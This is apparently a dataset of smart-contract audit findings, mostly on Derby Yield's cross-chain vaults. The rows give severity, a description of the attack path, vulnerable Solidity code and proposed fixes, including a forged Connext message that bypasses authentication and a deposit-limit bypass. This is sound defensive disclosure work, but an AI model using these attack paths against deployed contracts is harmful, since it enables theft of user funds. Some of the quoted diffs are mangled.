to slightly move the position to cause their transaction to revert | In `_calcLiquidation()` the function shouldn't revert if _debtToLiqudiate > `_getMaxLiquidation()`. Instead, just continue with the value `_getMaxLiquidation()` returns. | User can prevent liquidations by slightly modifying their position without putting it at a healthy state. | ```\\n function liquidate(\\n address _account,\\n uint256 _debtAmount,\\n uint256 _minExchangeRate\\n ) external onlyLiquidator whenNotPaused updateReward(_account) returns (bool) {\\n if (_debtAmount == 0) revert wrongLiquidationAmount();\\n\\n UserDetails memory accDetails = userDetails[_account];\\n\\n // Since Taurus accounts' debt continuously decreases, liquidators may pass in an arbitrarily large number in order to\\n // request to liquidate the entire account.\\n if (_debtAmount > accDetails.debt) {\\n _debtAmount = accDetails.debt;\\n }\\n\\n // Get total fee charged to the user for this liquidation. Collateral equal to (liquidated taurus debt value * feeMultiplier) will be deducted from the user's account.\\n // This call reverts if the account is healthy or if the liquidation amount is too large.\\n (uint256 collateralToLiquidate, uint256 liquidationSurcharge) = _calcLiquidation(\\n accDetails.collateral,\\n accDetails.debt,\\n _debtAmount\\n );\\n```\\n |
Cross-chain message authentication can be bypassed, allowing an attacker to disrupt the state of vaults | high | A malicious actor may send a cross-chain message to an `XProvider` contract and bypass the `onlySource` authentication check. As a result, they'll be able to call any function in the `XProvider` contract that has the `onlySource` modifier and disrupt the state of `XChainController` and all vaults.\\nThe protocol integrates with Connext to handle cross-chain interactions. `XProvider` is a contract that manages interactions between vaults deployed on all supported networks and `XChainController`. `XProvider` is deployed on each of the network where a vault is deployed and is used to send and receive cross-chain messages via Connext. `XProvider` is a core contract that handles vault rebalancing, transferring of allocations from Game to `XChainController` and to vaults, transferring of tokens deposited to vaults between vault on different networks. Thus, it's critical that the functions of this contract are only called by authorized actors.\\nTo ensure that cross-chain messages are sent from authorized actors, there's onlySource modifier that's applied to the xReceive function. The modifier checks that the sender of a message is trusted:\\n```\\nmodifier onlySource(address _originSender, uint32 _origin) {\\n require(_originSender == trustedRemoteConnext[_origin] && msg.sender == connext, "Not trusted");\\n _;\\n}\\n```\\n\\nHowever, it doesn't check that `trustedRemoteConnext[_origin]` is set (i.e. it's not the zero address), and `_originSender` can in fact be the zero address.\\nIn Connext, a message can be delivered via one of the two paths: the fast path or the slow path. The fast path is taken when, on the destination, message receiving is not authentication, i.e. when destination allows receiving of messages from all senders. The slow path is taken when message receiving on the destination is authenticated, i.e. destination allows any sender (it doesn't check a sender).\\nSince, `XProvider` always checks the sender of a message, only the slow path will be used by Connext to deliver messages to it. However, Connext always tries the slow path:\\nRouters observing the origin chain with funds on the destination chain will: Simulate the transaction (if this fails, the assumption is that this is a more "expressive" crosschain message that requires authentication and so must go through the AMB: the slow path).\\nI.e. it'll always send a message and see if it reverts on the destination or not: if it does, Connext will switch to the slow path.\\nWhen Connext executes a message on the destination chain in the fast path, it sets the sender address to the zero address:\\n```\\n(bool success, bytes memory returnData) = ExcessivelySafeCall.excessivelySafeCall(\\n _params.to,\\n gasleft() - Constants.EXECUTE_CALLDATA_RESERVE_GAS,\\n 0, // native asset value (always 0)\\n Constants.DEFAULT_COPY_BYTES, // only copy 256 bytes back as calldata\\n abi.encodeWithSelector(\\n IXReceiver.xReceive.selector,\\n _transferId,\\n _amount,\\n _asset,\\n _reconciled ? _params.originSender : address(0), // use passed in value iff authenticated\\n _params.originDomain,\\n _params.callData\\n )\\n);\\n```\\n\\nThus, Connext will try to call the `XProvider.xReceive` function with the `_originSender` argument set to the zero address. And there are situations when the `onlySource` modifier will pass such calls: when the origin network (as specified by the `_origin` argument) is not in the `trustedRemoteConnext` mapping.\\nAccording to the description of the project, it'll be deployed on the following networks:\\nMainnet, Arbitrum, Optimism, Polygon, Binance Smart Chain\\nAnd this is the list of networks supported by Connext:\\nEthereum Mainnet Polygon Optimism Arbitrum One Gnosis Chain BNB Chain\\nThus, a malicious actor can send a message from Gnosis Chain (it's not supported by Derby), and the `onlySource` modifier will pass the message. The same is true for any new network supported by Connext in the future and not supported by Derby. | In the `onlySource` modifier, consider checking that `trustedRemoteConnext[_origin]` doesn't return the zero address:\\n```\\ndiff // Remove the line below\\n// Remove the line below\\ngit a/derby// Remove the line below\\nyield// Remove the line below\\noptimiser/contracts/XProvider.sol b/derby// Remove the line below\\nyield// Remove the line below\\noptimiser/contracts/XProvider.sol\\nindex 6074fa0..f508a7c 100644\\n// Remove the line below\\n// Remove the line below\\n// Remove the line below\\n a/derby// Remove the line below\\nyield// Remove the line below\\noptimiser/contracts/XProvider.sol\\n// Add the line below\\n// Add the line below\\n// Add the line below\\n b/derby// Remove the line below\\nyield// Remove the line below\\noptimiser/contracts/XProvider.sol\\n@@ // Remove the line below\\n83,7 // Add the line below\\n83,7 @@ contract XProvider is IXReceiver {\\n * 3) The call to this contract comes from Connext.\\n */\\n modifier onlySource(address _originSender, uint32 _origin) {\\n// Remove the line below\\n require(_originSender == trustedRemoteConnext[_origin] && msg.sender == connext, "Not trusted");\\n// Add the line below\\n require(trustedRemoteConnext[_origin] != address(0) && _originSender == trustedRemoteConnext[_origin] && msg.sender == connext, "Not trusted");\\n _;\\n }\\n```\\n | A malicious actor can call `XProvider.xReceive` and any functions of `XProvider` with the `onlySelf` modifier:\\nxReceive allow the caller to call any public function of `XProvider`, but only the ones with the `onlySelf` modifier are authorized;\\nreceiveAllocations can be used to corrupt allocations in the `XChainController` (i.e. allocate all tokens only to the protocol the attacker will benefit the most from);\\nreceiveTotalUnderlying can be used to set wrong "total underlying" value in the `XChainController` and block rebalancing of vaults (due to an underflow or another arithmetical error);\\nreceiveSetXChainAllocation can be used to set an exchange rate that will allow an attacker to drain a vault by redeeming their LP tokens at a higher rate;\\nreceiveFeedbackToXController can be used to trick the `XChainController` into skipping receiving of funds from a vault;\\nreceiveProtocolAllocationsToVault can be used by an attacker to unilaterally set allocations in a vault, directing funds only to protocol the attacker will benefit from;\\nreceiveRewardsToGame can be used by an attacker to increase the reward per LP token in a protocol the attacker deposited to;\\nfinally, receiveStateFeedbackToVault can allow an attacker to switch off a vault and exclude it from rebalancing. | ```\\nmodifier onlySource(address _originSender, uint32 _origin) {\\n require(_originSender == trustedRemoteConnext[_origin] && msg.sender == connext, "Not trusted");\\n _;\\n}\\n```\\n |
Anyone can execute certain functions that use cross chain messages and potentially cancel them with potential loss of funds. | high | Certain functions that route messages cross chain on the `Game` and `MainVault` contract are unprotected (anyone can call them under the required state of the vaults). The way the cross chain messaging is implemented in the XProvider makes use of Connext's `xcall()` and sets the `msg.sender` as the `delegate` and `msg.value` as `relayerFee`. There are two possible attack vectors with this:\\nEither an attacker can call the function and set the msg.value to low so it won't be relayed until someone bumps the fee (Connext allows anyone to bump the fee). This however means special action must be taken to bump the fee in such a case.\\nOr the attacker can call the function (which irreversibly changes the state of the contract) and as the delegate of the `xcall` cancel the message. This functionality is however not yet active on Connext, but the moment it is the attacker will be able to change the state of the contract on the origin chain and make the cross chain message not execute on the destination chain leaving the contracts on the two chains out of synch with possible loss of funds as a result.\\nThe `XProvider` contract's `xsend()` function sets the `msg.sender` as the delegate and `msg.value` as `relayerFee`\\n```\\n uint256 relayerFee = _relayerFee != 0 ? _relayerFee : msg.value;\\n IConnext(connext).xcall{value: relayerFee}(\\n _destinationDomain, // _destination: Domain ID of the destination chain\\n target, // _to: address of the target contract\\n address(0), // _asset: use address zero for 0-value transfers\\n msg.sender, // _delegate: address that can revert or forceLocal on destination\\n 0, // _amount: 0 because no funds are being transferred\\n 0, // _slippage: can be anything between 0-10000 because no funds are being transferred\\n _callData // _callData: the encoded calldata to send\\n );\\n }\\n```\\n\\n`xTransfer()` using `msg.sender` as delegate:\\n```\\n IConnext(connext).xcall{value: (msg.value - _relayerFee)}(\\n _destinationDomain, // _destination: Domain ID of the destination chain\\n _recipient, // _to: address receiving the funds on the destination\\n _token, // _asset: address of the token contract\\n msg.sender, // _delegate: address that can revert or forceLocal on destination\\n _amount, // _amount: amount of tokens to transfer\\n _slippage, // _slippage: the maximum amount of slippage the user will accept in BPS (e.g. 30 = 0.3%)\\n bytes("") // _callData: empty bytes because we're only sending funds\\n );\\n }\\n```\\n\\nConnext documentation explaining:\\n```\\nparams.delegate | (optional) Address allowed to cancel an xcall on destination.\\n```\\n\\nConnext documentation seems to indicate this functionality isn't active yet though it isn't clear whether that applies to the cancel itself or only the bridging back the funds to the origin chain. | Provide access control limits to the functions sending message across Connext so only the Guardian can call these functions with the correct msg.value and do not use msg.sender as a delegate but rather a configurable address like the Guardian. | An attacker can call certain functions which leave the relying contracts on different chains in an unsynched state, with possible loss of funds as a result (mainly on XChainControleler's `sendFundsToVault()` when actual funds are transferred. | ```\\n uint256 relayerFee = _relayerFee != 0 ? _relayerFee : msg.value;\\n IConnext(connext).xcall{value: relayerFee}(\\n _destinationDomain, // _destination: Domain ID of the destination chain\\n target, // _to: address of the target contract\\n address(0), // _asset: use address zero for 0-value transfers\\n msg.sender, // _delegate: address that can revert or forceLocal on destination\\n 0, // _amount: 0 because no funds are being transferred\\n 0, // _slippage: can be anything between 0-10000 because no funds are being transferred\\n _callData // _callData: the encoded calldata to send\\n );\\n }\\n```\\n |
maxTrainingDeposit can be bypassed | medium | It was observed that User can bypass the `maxTrainingDeposit` by transferring balance from one user to another\\nObserve the `deposit` function\\n```\\nfunction deposit(\\n uint256 _amount,\\n address _receiver\\n ) external nonReentrant onlyWhenVaultIsOn returns (uint256 shares) {\\n if (training) {\\n require(whitelist[msg.sender]);\\n uint256 balanceSender = (balanceOf(msg.sender) * exchangeRate) / (10 ** decimals());\\n require(_amount + balanceSender <= maxTrainingDeposit);\\n }\\n// rest of code\\n```\\n\\nSo if User balance exceeds maxTrainingDeposit then request fails (considering training is true)\\nLets say User A has balance of 50 and maxTrainingDeposit is 100\\nIf User A deposit amount 51 then it fails since 50+51<=100 is false\\nSo User A transfer amount 50 to his another account\\nNow when User A deposit, it does not fail since `0+51<=100` | If user specific limit is required then transfer should be check below:\\n```\\n require(_amountTransferred + balanceRecepient <= maxTrainingDeposit);\\n```\\n | User can bypass maxTrainingDeposit and deposit more than allowed | ```\\nfunction deposit(\\n uint256 _amount,\\n address _receiver\\n ) external nonReentrant onlyWhenVaultIsOn returns (uint256 shares) {\\n if (training) {\\n require(whitelist[msg.sender]);\\n uint256 balanceSender = (balanceOf(msg.sender) * exchangeRate) / (10 ** decimals());\\n require(_amount + balanceSender <= maxTrainingDeposit);\\n }\\n// rest of code\\n```\\n |
MainVault.rebalanceXChain doesn't check that savedTotalUnderlying >= reservedFunds | medium | MainVault.rebalanceXChain doesn't check that savedTotalUnderlying >= reservedAmount. Because of that, shortage can occur, if vault will lose some underlying during cross chain calls and reservedFundswill not be present in the vault.\\n`reservedFunds` is the amount that is reserved to be withdrawn by users. It's increased by `totalWithdrawalRequests` amount every cycle, when `setXChainAllocation` is called.\\n`setXChainAllocation` call is initiated by xController. This call provides vault with information about funds. In case if vault should send funds to the xController, then `SendingFundsXChain` state is set, aslo amount to send is stored.\\n```\\n function rebalanceXChain(uint256 _slippage, uint256 _relayerFee) external payable {\\n require(state == State.SendingFundsXChain, stateError);\\n\\n\\n if (amountToSendXChain > getVaultBalance()) pullFunds(amountToSendXChain);\\n if (amountToSendXChain > getVaultBalance()) amountToSendXChain = getVaultBalance();\\n\\n\\n vaultCurrency.safeIncreaseAllowance(xProvider, amountToSendXChain);\\n IXProvider(xProvider).xTransferToController{value: msg.value}(\\n vaultNumber,\\n amountToSendXChain,\\n address(vaultCurrency),\\n _slippage,\\n _relayerFee\\n );\\n\\n\\n emit RebalanceXChain(vaultNumber, amountToSendXChain, address(vaultCurrency));\\n\\n\\n amountToSendXChain = 0;\\n settleReservedFunds();\\n }\\n```\\n\\nAs you can see, function just pulls needed funds from providers if needed and sends them to xController. It doesn't check that after that amount that is held by vault is enough to cover `reservedFunds`. Because of that next situation can occur.\\n1.Suppose that vault has 1000 tokens as underlying amount. 2.reservedFunds is 200. 3.xController calculated that vault should send 800 tokens to xController(vault allocations is 0) and 200 should be still in the vault in order to cover `reservedFunds`. 4.when vault is going to send 800 tokens(between `setXChainAllocation` and `rebalanceXChain` call), then loss happens and totalUnderlying becomes 800, so currently vault has only 800 tokens in total. 5.vault sends this 800 tokens to xController and has 0 to cover `reservedFunds`, but actually he should leave this 200 tokens in the vault in this case.\\n```\\n if (amountToSendXChain > getVaultBalance()) pullFunds(amountToSendXChain);\\n if (amountToSendXChain > getVaultBalance()) amountToSendXChain = getVaultBalance();\\n```\\n\\nI think that this is incorrect approach for withdrawing of funds as there is a risk that smth will happen with underlying amount in the providers, so it will be not enough to cover `reservedFunds` and calculations will be broken, users will not be able to withdraw. Same approach is done in `rebalance` function, which pulls `reservedFunds` after depositing to all providers. I guess that correct approach is not to touch `reservedFunds` amount. In case if you need to send amount to xController, then you need to withdraw it directly from provider. Of course if you have `getVaultBalance` that is bigger than `reservedFunds + amountToSendXChain`, then you can send them directly, without pulling. | You need to check that after you send funds to xController it's enough funds to cover `reservedFunds`. | Reserved funds protection can be broken | ```\\n function rebalanceXChain(uint256 _slippage, uint256 _relayerFee) external payable {\\n require(state == State.SendingFundsXChain, stateError);\\n\\n\\n if (amountToSendXChain > getVaultBalance()) pullFunds(amountToSendXChain);\\n if (amountToSendXChain > getVaultBalance()) amountToSendXChain = getVaultBalance();\\n\\n\\n vaultCurrency.safeIncreaseAllowance(xProvider, amountToSendXChain);\\n IXProvider(xProvider).xTransferToController{value: msg.value}(\\n vaultNumber,\\n amountToSendXChain,\\n address(vaultCurrency),\\n _slippage,\\n _relayerFee\\n );\\n\\n\\n emit RebalanceXChain(vaultNumber, amountToSendXChain, address(vaultCurrency));\\n\\n\\n amountToSendXChain = 0;\\n settleReservedFunds();\\n }\\n```\\n |
Game doesn't accrued rewards for previous rebalance period in case if rebalanceBasket is called in next period | medium | Game doesn't accrued rewards for previous rebalance period in case if `rebalanceBasket` is called in next period. Because of that user do not receive rewards for the previous period and in case if he calls `rebalanceBasket` each rebalance period, he will receive rewards only for last one.\\n```\\n function addToTotalRewards(uint256 _basketId) internal onlyBasketOwner(_basketId) {\\n if (baskets[_basketId].nrOfAllocatedTokens == 0) return;\\n\\n\\n uint256 vaultNum = baskets[_basketId].vaultNumber;\\n uint256 currentRebalancingPeriod = vaults[vaultNum].rebalancingPeriod;\\n uint256 lastRebalancingPeriod = baskets[_basketId].lastRebalancingPeriod;\\n\\n\\n if (currentRebalancingPeriod <= lastRebalancingPeriod) return;\\n\\n\\n for (uint k = 0; k < chainIds.length; k++) {\\n uint32 chain = chainIds[k];\\n uint256 latestProtocol = latestProtocolId[chain];\\n for (uint i = 0; i < latestProtocol; i++) {\\n int256 allocation = basketAllocationInProtocol(_basketId, chain, i) / 1E18;\\n if (allocation == 0) continue;\\n\\n\\n int256 lastRebalanceReward = getRewardsPerLockedToken(\\n vaultNum,\\n chain,\\n lastRebalancingPeriod,\\n i\\n );\\n int256 currentReward = getRewardsPerLockedToken(\\n vaultNum,\\n chain,\\n currentRebalancingPeriod,\\n i\\n );\\n baskets[_basketId].totalUnRedeemedRewards +=\\n (currentReward - lastRebalanceReward) *\\n allocation;\\n }\\n }\\n }\\n```\\n\\nThis function allows user to accrue rewards only when currentRebalancingPeriod > `lastRebalancingPeriod`. When user allocates, he allocates for the next period. And `lastRebalancingPeriod` is changed after `addToTotalRewards` is called, so after rewards for previous period accrued. And when allocations are sent to the xController, then new rebalance period is started. So actually rewards accruing for period that user allocated for is started once `pushAllocationsToController` is called. And at this point currentRebalancingPeriod == `lastRebalancingPeriod` which means that if user will call rebalanceBasket for next period, the rewards will not be accrued for him, but `lastRebalancingPeriod` will be incremented. So actually he will not receive rewards for previous period.\\nExample. 1.currentRebalancingPeriod is 10. 2.user calls `rebalanceBasket` with new allocation and `lastRebalancingPeriod` is set to 11 for him. 3.pushAllocationsToController is called, so `currentRebalancingPeriod` becomes 11. 4.settleRewards is called, so rewards for the 11th cycle are accrued. 5.now user can call `rebalanceBasket` for the next 12th cycle. `addToTotalRewards` is called, but `currentRebalancingPeriod == `lastRebalancingPeriod` == 11`, so rewards were not accrued for 11th cycle 6.new allocations is saved and `lastRebalancingPeriod` becomes 12. 7.the loop continues and every time when user allocates for next rewards his `lastRebalancingPeriod` is increased, but rewards are not added. 8.user will receive his rewards for previous cycle, only if he skip 1 rebalance period(he doesn't allocate on that period).\\nAs you can see this is very serious bug. Because of that, player that wants to adjust his allocation every rebalance period will loose all his rewards. | First of all, you need to allows to call `rebalanceBasket` only once per rebalance period, before new rebalancing period started and allocations are sent to xController. Then you need to change check inside `addToTotalRewards` to this `if (currentRebalancingPeriod < lastRebalancingPeriod) return;` in order to allow accruing for same period. | Player looses all his rewards | ```\\n function addToTotalRewards(uint256 _basketId) internal onlyBasketOwner(_basketId) {\\n if (baskets[_basketId].nrOfAllocatedTokens == 0) return;\\n\\n\\n uint256 vaultNum = baskets[_basketId].vaultNumber;\\n uint256 currentRebalancingPeriod = vaults[vaultNum].rebalancingPeriod;\\n uint256 lastRebalancingPeriod = baskets[_basketId].lastRebalancingPeriod;\\n\\n\\n if (currentRebalancingPeriod <= lastRebalancingPeriod) return;\\n\\n\\n for (uint k = 0; k < chainIds.length; k++) {\\n uint32 chain = chainIds[k];\\n uint256 latestProtocol = latestProtocolId[chain];\\n for (uint i = 0; i < latestProtocol; i++) {\\n int256 allocation = basketAllocationInProtocol(_basketId, chain, i) / 1E18;\\n if (allocation == 0) continue;\\n\\n\\n int256 lastRebalanceReward = getRewardsPerLockedToken(\\n vaultNum,\\n chain,\\n lastRebalancingPeriod,\\n i\\n );\\n int256 currentReward = getRewardsPerLockedToken(\\n vaultNum,\\n chain,\\n currentRebalancingPeriod,\\n i\\n );\\n baskets[_basketId].totalUnRedeemedRewards +=\\n (currentReward - lastRebalanceReward) *\\n allocation;\\n }\\n }\\n }\\n```\\n |
Vault.blacklistProtocol can revert in emergency | medium | Vault.blacklistProtocol can revert in emergency, because it tries to withdraw underlying balance from protocol, which can revert for many reasons after it's hacked or paused.\\n```\\n function blacklistProtocol(uint256 _protocolNum) external onlyGuardian {\\n uint256 balanceProtocol = balanceUnderlying(_protocolNum);\\n currentAllocations[_protocolNum] = 0;\\n controller.setProtocolBlacklist(vaultNumber, _protocolNum);\\n savedTotalUnderlying -= balanceProtocol;\\n withdrawFromProtocol(_protocolNum, balanceProtocol);\\n }\\n```\\n\\nThe problem is that this function is trying to withdraw all balance from protocol. This can create problems as in case of hack, attacker can steal funds, pause protocol and any other things that can make `withdrawFromProtocol` function to revert. Because of that it will be not possible to add protocol to blacklist and as result system will stop working correctly. | Provide `needToWithdraw` param to the `blacklistProtocol` function. In case if it's safe to withdraw, then withdraw, otherwise, just set protocol as blacklisted. Also you can call function with `true` param again, once it's safe to withdraw. Example of hack situation flow: 1.underlying vault is hacked 2.you call setProtocolBlacklist("vault", false) which blacklists vault 3.in next tx you call setProtocolBlacklist("vault", true) and tries to withdraw | Hacked or paused protocol can't be set to blacklist. | ```\\n function blacklistProtocol(uint256 _protocolNum) external onlyGuardian {\\n uint256 balanceProtocol = balanceUnderlying(_protocolNum);\\n currentAllocations[_protocolNum] = 0;\\n controller.setProtocolBlacklist(vaultNumber, _protocolNum);\\n savedTotalUnderlying -= balanceProtocol;\\n withdrawFromProtocol(_protocolNum, balanceProtocol);\\n }\\n```\\n |